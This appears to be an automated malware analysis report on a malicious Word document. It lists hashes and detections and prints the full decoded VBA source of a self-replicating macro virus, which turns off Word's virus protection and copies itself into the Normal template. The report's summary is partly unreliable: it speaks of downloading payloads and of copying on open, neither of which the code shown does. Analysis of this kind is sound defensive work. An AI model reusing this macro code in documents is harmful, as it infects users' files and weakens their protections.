Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca531abf52b802fa…

MALICIOUS

Office (OLE)

38.0 KB Created: 2018-01-30 09:19:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 0fea9395f0bfe8f17efba77660c45718 SHA-1: 789a90c3dc8e43b7e1022f6fb56df4c64e10569e SHA-256: ca531abf52b802fa2f7569fb111c13d720a221e265f853aaac22f36daeb69d0e
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute malicious code upon opening. The macro attempts to copy itself to the normal template and then presents a series of input boxes with trivia questions, likely as a distraction or to bypass basic detection mechanisms. The presence of the Document_Open macro and the ClamAV detection strongly indicate a malicious intent to download and execute further payloads.

Heuristics 4

  • ClamAV: Doc.Trojan.Bptk-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bptk-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3339 bytes
SHA-256: 6b8fdff9a927f5d2a4cac4b1926f0740883368bb0dc226d61943bebcaa5c7ba7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Dim DI As Boolean, TI As Boolean, d As Object, t As Object, Src As String, r As String


Private Sub Document_Close()
On Error Resume Next

Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set t = NormalTemplate.VBProject.VBComponents.Item(1)

DI = d.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
TI = t.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)

Options.VirusProtection = False

  If DI And Not (TI) Then
    Src = d.CodeModule.Lines(1, d.CodeModule.CountOfLines)
    t.CodeModule.DeleteLines 1, t.CodeModule.CountOfLines
    t.CodeModule.AddFromString Src
    NormalTemplate.Save
    
  ElseIf TI And Not (DI) Then
If Day(Now()) = 1 Then
 Do
 r = UCase(InputBox("长安之星车长多少米?" & Chr(13) & Chr(13) _
 & "A.3米4  B.3米5  C.3米55  D.3米7" & Chr(13) & Chr(13) _
 & "要好好思考哟!", "紧急提问"))
 Loop Until r <> ""
 If r = "B" Then
   MsgBox "好棒哟!"
   GoTo 10
 Else
   MsgBox "唉!再给你一次机会."
    Do
     r = UCase(InputBox("长安之星FBA是什么型?" & Chr(13) & Chr(13) _
     & "A.标准型  B.普通型  C.豪华型" & Chr(13) & Chr(13) _
     & "想好了再回答!", "紧急提问"))
    Loop Until r <> ""
      If r = "C" Then
        MsgBox "谢谢你的支持!"
        GoTo 10
      Else
        MsgBox "笨蛋!给你最后一次机会."
          Do
           r = UCase(InputBox("安全气囊是干什么用的?" & Chr(13) & Chr(13) _
           & "A.防止撞车  B.防止侧滑  C.撞车时保护驾驶员" & Chr(13) & Chr(13) _
           & "这是最后一次机会哟!", "紧急提问"))
          Loop Until r <> ""
           If r = "C" Then
             MsgBox "总算答对了!"
             GoTo 10
           Else
             MsgBox "看来你还需要对长安之星多加了解..."
             ActiveDocument.SaveAs "c:\lzc.vxd"
             ActiveDocument.Close
             Exit Sub
           End If
      End If
 End If
End If
10:
    Src = t.CodeModule.Lines(1, t.CodeModule.CountOfLines)
    d.CodeModule.DeleteLines 1, d.CodeModule.CountOfLines
    d.CodeModule.AddFromString Src
    ActiveDocument.Save
      
  End If


End Sub

Private Sub Document_Open()
On Error Resume Next

Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set t = NormalTemplate.VBProject.VBComponents.Item(1)

DI = d.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
TI = t.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)

Options.VirusProtection = False

  If DI And Not (TI) Then
    t.CodeModule.DeleteLines 1, t.CodeModule.CountOfLines
    
  ElseIf TI And Not (DI) Then
    d.CodeModule.DeleteLines 1, d.CodeModule.CountOfLines
      
  End If
  
End Sub